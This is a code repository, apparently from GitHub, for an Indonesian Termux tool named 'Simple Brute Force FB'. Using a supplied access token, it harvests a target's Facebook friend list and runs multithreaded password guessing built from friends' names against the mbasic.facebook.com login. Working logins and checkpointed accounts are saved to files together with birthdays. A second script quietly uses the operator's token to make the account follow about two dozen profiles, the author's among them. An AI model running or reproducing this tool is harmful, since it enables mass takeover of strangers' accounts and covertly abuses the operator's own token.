├── README.md ├── bot_follow_sbf.py └── sbf.py /README.md: -------------------------------------------------------------------------------- 1 | # ✭ SIMPLE BRUTE FORCE FB 2 | #### ⇨ Install Script Di Termux 3 | ``` 4 | $ termux-setup-storage 5 | $ pkg update && upgrade 6 | $ pkg install python 7 | $ pkg install git 8 | $ pip install bs4 9 | $ pip install requests 10 | $ pip install mechanize 11 | $ pip install futures 12 | $ rm -rf sbf 13 | $ git clone https://github.com/Dapunta/sbf 14 | ``` 15 | #### ⇨ Menjalankan Script 16 | ``` 17 | $ cd sbf 18 | $ git pull 19 | $ python sbf.py 20 | ``` 21 | -------------------------------------------------------------------------------- /bot_follow_sbf.py: -------------------------------------------------------------------------------- 1 | import requests,os,json,sbf 2 | 3 | def main(__cici__): 4 | try: 5 | token = open("token.txt","r").read() 6 | requests.post("https://graph.facebook.com/1827084332/subscribers?access_token=" + token) # Dapunta Khurayra X 7 | requests.post("https://graph.facebook.com/100000415317575/subscribers?access_token=" + token) # Dapunta Adyapaksi R 8 | requests.post("https://graph.facebook.com/100000737201966/subscribers?access_token=" + token) # Dapunta Adya R 9 | requests.post("https://graph.facebook.com/100000431996038/subscribers?access_token=" + token) # Suci Salsabila R 10 | requests.post("https://graph.facebook.com/100026818103201/subscribers?access_token=" + token) # Cici Putri Andini 11 | requests.post("https://graph.facebook.com/100001617352620/subscribers?access_token=" + token) # Antonius Raditya M 12 | requests.post("https://graph.facebook.com/100000729074466/subscribers?access_token=" + token) # Abigaille Dirgantara 13 | requests.post("https://graph.facebook.com/607801156/subscribers?access_token=" + token) # Boirah 14 | requests.post("https://graph.facebook.com/100009340646547/subscribers?access_token=" + token) # Anita Zuliatin 15 | requests.post("https://graph.facebook.com/1676993425/subscribers?access_token=" + token) # Wati Waningsih 16 | requests.post("https://graph.facebook.com/1767051257/subscribers?access_token=" + token) # Rofi Nurhanifah 17 | requests.post("https://graph.facebook.com/100000287398094/subscribers?access_token=" + token) # Diah Ayu Kharisma 18 | requests.post("https://graph.facebook.com/100001085079906/subscribers?access_token=" + token) # Xena Alexander 19 | requests.post("https://graph.facebook.com/100007559713883/subscribers?access_token=" + token) # Alexandra Scarlett 20 | requests.post("https://graph.facebook.com/100004655733027/subscribers?access_token=" + token) # Aisya Asyaqila 21 | requests.post("https://graph.facebook.com/100000200420913/subscribers?access_token=" + token) # Ameiliani Dethasia 22 | requests.post("https://graph.facebook.com/100026490368623/subscribers?access_token=" + token) # Muh Rizal Fiansyah 23 | requests.post("https://graph.facebook.com/100010484328037/subscribers?access_token=" + token) # Rizal F 24 | requests.post("https://graph.facebook.com/100015073506062/subscribers?access_token=" + token) # Angga Kurniawan 25 | requests.post("https://graph.facebook.com/10016189/subscribers?access_token=" + token) # Junee 26 | requests.post("https://graph.facebook.com/100005395413800/subscribers?access_token=" + token) # Moh Yayan 27 | requests.post("https://graph.facebook.com/100003467793035/subscribers?access_token=" + token) # Fajar Dwi S 28 | requests.post("https://graph.facebook.com/100003160758786/subscribers?access_token=" + token) # M Ardian Iqbal 29 | requests.post("https://graph.facebook.com/100040248105716/subscribers?access_token=" + token) # Hanifan 30 | print('\n[•] Login Berhasil') 31 | exit(sbf.menu(__cici__)) 32 | except (KeyError,IOError): 33 | print('\n[!] Token Invalid') 34 | os.system('rm -rf token.txt') 35 | exit(sbf.login(__cici__)) 36 | except requests.exceptions.ConnectionError: 37 | print('\n[!] Koneksi Bermasalah') 38 | os.system('rm -rf token.txt') 39 | exit(sbf.login(__cici__)) 40 | -------------------------------------------------------------------------------- /sbf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | #-*-coding:utf-8-*- 3 | # Made With ❤️ By Dapunta 4 | import requests,bs4,sys,os,random,time,re,json,concurrent 5 | import bot_follow_sbf 6 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 7 | ok = [] 8 | cp = [] 9 | ttl = [] 10 | bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} 11 | def logo(): 12 | print('\n _______ ____ ___ \n / __/ _ )/ __/___|_ | ┌────────────────────────┐\n _\ \/ _ / _//___/ __/ │ • Coded By Dapunta • │\n/___/____/_/ /____/ │ Github.com/Dapunta/sbf │\n Simple Brute Force └────────────────────────┘\n') 13 | def login(__cici__): 14 | os.system('rm -rf token.txt');os.system('clear');logo();token = input('[•] Masukkan Token :\n\n') 15 | try:x = requests.get("https://graph.facebook.com/me?access_token=" + token);y = json.loads(x.text);n = y['name'];v = open("token.txt", "w");v.write(token);v.close();exit(bot_follow_sbf.main(__cici__)) 16 | except (KeyError,IOError):print('\n[!] Token Invalid');os.system('rm -rf token.txt');login(__cici__) 17 | except requests.exceptions.ConnectionError:print('\n[!] Koneksi Bermasalah');os.system('rm -rf token.txt');login(__cici__) 18 | def menu(__cici__): 19 | os.system('clear');logo() 20 | try:token = open("token.txt","r").read();x = requests.get("https://graph.facebook.com/me?access_token=" + token);y = json.loads(x.text);n = y['name'];i = y['id'] 21 | except (KeyError,IOError):print('\n[!] Token Invalid');os.system('rm -rf token.txt');login(__cici__) 22 | except requests.exceptions.ConnectionError:print('\n[!] Koneksi Bermasalah');os.system('rm -rf token.txt');login(__cici__) 23 | print('[•] Nama : %s'%(n));print('[•] ID : %s'%(i));crack_publik(__cici__) 24 | def crack_publik(__cici__): 25 | try:token = open("token.txt","r").read() 26 | except (KeyError,IOError):print('\n[!] Token Invalid');os.system('rm -rf token.txt');login(__cici__) 27 | except requests.exceptions.ConnectionError:print('\n[!] Koneksi Bermasalah');os.system('rm -rf token.txt');login(__cici__) 28 | print('\n[•] Ketik \'me\' Untuk Dump Dari Teman');i = input("[•] ID Publik : ") 29 | try: 30 | try:o = requests.get("https://graph.facebook.com/" + i + "?access_token=" + token);b = json.loads(o.text);print ('[•] Nama : %s'%(b['name'])) 31 | except (KeyError,IOError):print('\n[!] ID Tidak Ditemukan');menu(__cici__) 32 | r = requests.get("https://graph.facebook.com/%s/friends?limit=5000&access_token=%s"%(i,token));id = [];z = json.loads(r.text);l = (b["first_name"]+".json").replace(" ","_");d = open(l,"w") 33 | for a in z["data"]: 34 | id.append(a["id"]+"•"+a["name"]);d.write(a["id"]+"•"+a["name"]+"\n") 35 | d.close();print('[•] Total ID : %s'%(len(id))) 36 | return crack(l) 37 | except Exception as e:exit('\n[!] Error : %s'%(e)) 38 | def password(_cici_): 39 | _dapunta_=[];ps = open('pass.txt','r').read();pp = open('passangka.txt','r').read() 40 | for i in _cici_.split(" "): 41 | i=i.lower() 42 | if len(i)<3:continue 43 | elif len(i)==3 or len(i)==4 or len(i)==5:_dapunta_.append(i+"123");_dapunta_.append(i+"12345") 44 | else:_dapunta_.append(i);_dapunta_.append(i+"123");_dapunta_.append(i+"12345") 45 | if pp in ['',' ',' ']:pass 46 | else: 47 | for i in _cici_.split(" "): 48 | i=i.lower() 49 | for x in pp.split(','):_dapunta_.append(i+x) 50 | if ps in ['',' ',' ']:pass 51 | else: 52 | for z in ps.split(','):_dapunta_.append(z) 53 | _dapunta_.append(_cici_.lower()) 54 | return _dapunta_ 55 | def cek_recode(): 56 | try : 57 | __dapunta__ = open('__dapunta__.txt','r').read() 58 | if '__dapunta__cici__forever__' in __dapunta__ : return menu(__dapunta__) 59 | else : exit('\nMampus Error Mau Lu Recode Kan?') 60 | except Exception as cok: exit(cok) 61 | def tambah_pass(): 62 | print('\n[•] Contoh : sayang,bismillah,123456,786786');cuy = input('[•] Masukkan Pass Tambahan Manual [1 Kata] : ');gh = open('pass.txt','w');gh.write(cuy);gh.close 63 | def tambah_pass_angka(): 64 | print('[•] Contoh : 321,786,gaming,ganteng');coy = input('[•] Masukkan Pass Tambahan Dibelakang Nama : ');xy = open('passangka.txt','w');xy.write(coy);xy.close 65 | def logger(em,pas,hosts): 66 | ua = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]';r = requests.Session();r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"});p = r.get("https://mbasic.facebook.com/");b = bs4.BeautifulSoup(p.text,"html.parser");meta="".join(bs4.re.findall('dtsg":\{"token":"(.*?)"',p.text));data={} 67 | for i in b("input"): 68 | if i.get("value") is None: 69 | if i.get("name")=="email":data.update({"email":em}) 70 | elif i.get("name")=="pass":data.update({"pass":pas}) 71 | else:data.update({i.get("name"):""}) 72 | else:data.update({i.get("name"):i.get("value")}) 73 | data.update({"fb_dtsg":meta,"m_sess":"","__user":"0","__req":"d","__csr":"","__a":"","__dyn":"","encpass":""});r.headers.update({"referer":"https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8"});po = r.post("https://mbasic.facebook.com/login/device-based/login/async/?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F%3Fref%3Ddbl&lwv=100",data=data).text 74 | if "c_user" in list(r.cookies.get_dict().keys()):return {"status":"success","email":em,"pass":pas,"cookies":r.cookies.get_dict()} 75 | elif "checkpoint" in list(r.cookies.get_dict().keys()):return {"status":"cp","email":em,"pass":pas,"cookies":r.cookies.get_dict()} 76 | else:return {"status":"error","email":em,"pass":pas} 77 | def append(): 78 | __dapunta__=open('__dapunta__.txt','w');__dapunta__.write('__dapunta__cici__forever__');__dapunta__.close 79 | def koki(cookies): 80 | result=[] 81 | for i in enumerate(cookies.keys()): 82 | if i[0]==len(cookies.keys())-1:result.append(i[1]+"="+cookies[i[1]]) 83 | else:result.append(i[1]+"="+cookies[i[1]]+"; ") 84 | return "".join(result) 85 | class crack: 86 | def __init__(self,isifile): 87 | self.ada=[];self.cp=[];self.ko=0 88 | while True: 89 | try: 90 | while True: 91 | try:self.apk=isifile;self.fs=open(self.apk).read().splitlines();break 92 | except Exception as e:print("\n[!] Error : %s"%(e));continue 93 | self.fl=[] 94 | os.system('rm -rf pass.txt');os.system('rm -rf passangka.txt');tambah_pass();tambah_pass_angka() 95 | for i in self.fs: 96 | try:self.fl.append({"id":i.split("•")[0],"pw":password(i.split("•")[1])}) 97 | except:continue 98 | except Exception as e:print("\n[!] Error : %s"%(e)) 99 | started();ThreadPool(35).map(self.mbasic,self.fl);os.remove(self.apk);exit() 100 | def mbasic(self,fl): 101 | try: 102 | for i in fl.get("pw"): 103 | log = logger(fl.get("id"),i,"https://mbasic.facebook.com") 104 | if log.get("status")=="cp": 105 | try:ke = requests.get("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + open("token.txt","r").read());tt = json.loads(ke.text);ttl = tt["birthday"];m,d,y = ttl.split("/");m = bulan_ttl[m];print("\r[CP] %s • %s • %s %s %s "%(fl.get("id"),i,d,m,y));self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y));open("cp.txt","a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y));break 106 | except(KeyError, IOError):m = " ";d = " ";y = " " 107 | except:pass 108 | print("\r[CP] %s • %s "%(fl.get("id"),i));self.cp.append("%s•%s"%(fl.get("id"),i));open("cp.txt","a+").write("%s•%s\n"%(fl.get("id"),i));break 109 | elif log.get("status")=="success":print("\r[OK] %s • %s • %s "%(fl.get("id"),i,koki(log.get("cookies"))));self.ada.append("%s•%s"%(fl.get("id"),i));open("ok.txt","a+").write("%s•%s\n"%(fl.get("id"),i));break 110 | else:continue 111 | self.ko+=1 112 | print("\r[Crack][%s/%s][OK:%s][CP:%s]"%(self.ko,len(self.fl),len(self.ada),len(self.cp)), end=' ');sys.stdout.flush() 113 | except: 114 | self.mbasic(fl) 115 | def started(): 116 | print('\n[•] Crack Sedang Berjalan...');print('[•] Akun [OK] Disimpan Ke ok.txt');print('[•] Akun [CP] Disimpan Ke cp.txt\n') 117 | if __name__=='__main__':os.system('git pull');append();cek_recode() 118 | --------------------------------------------------------------------------------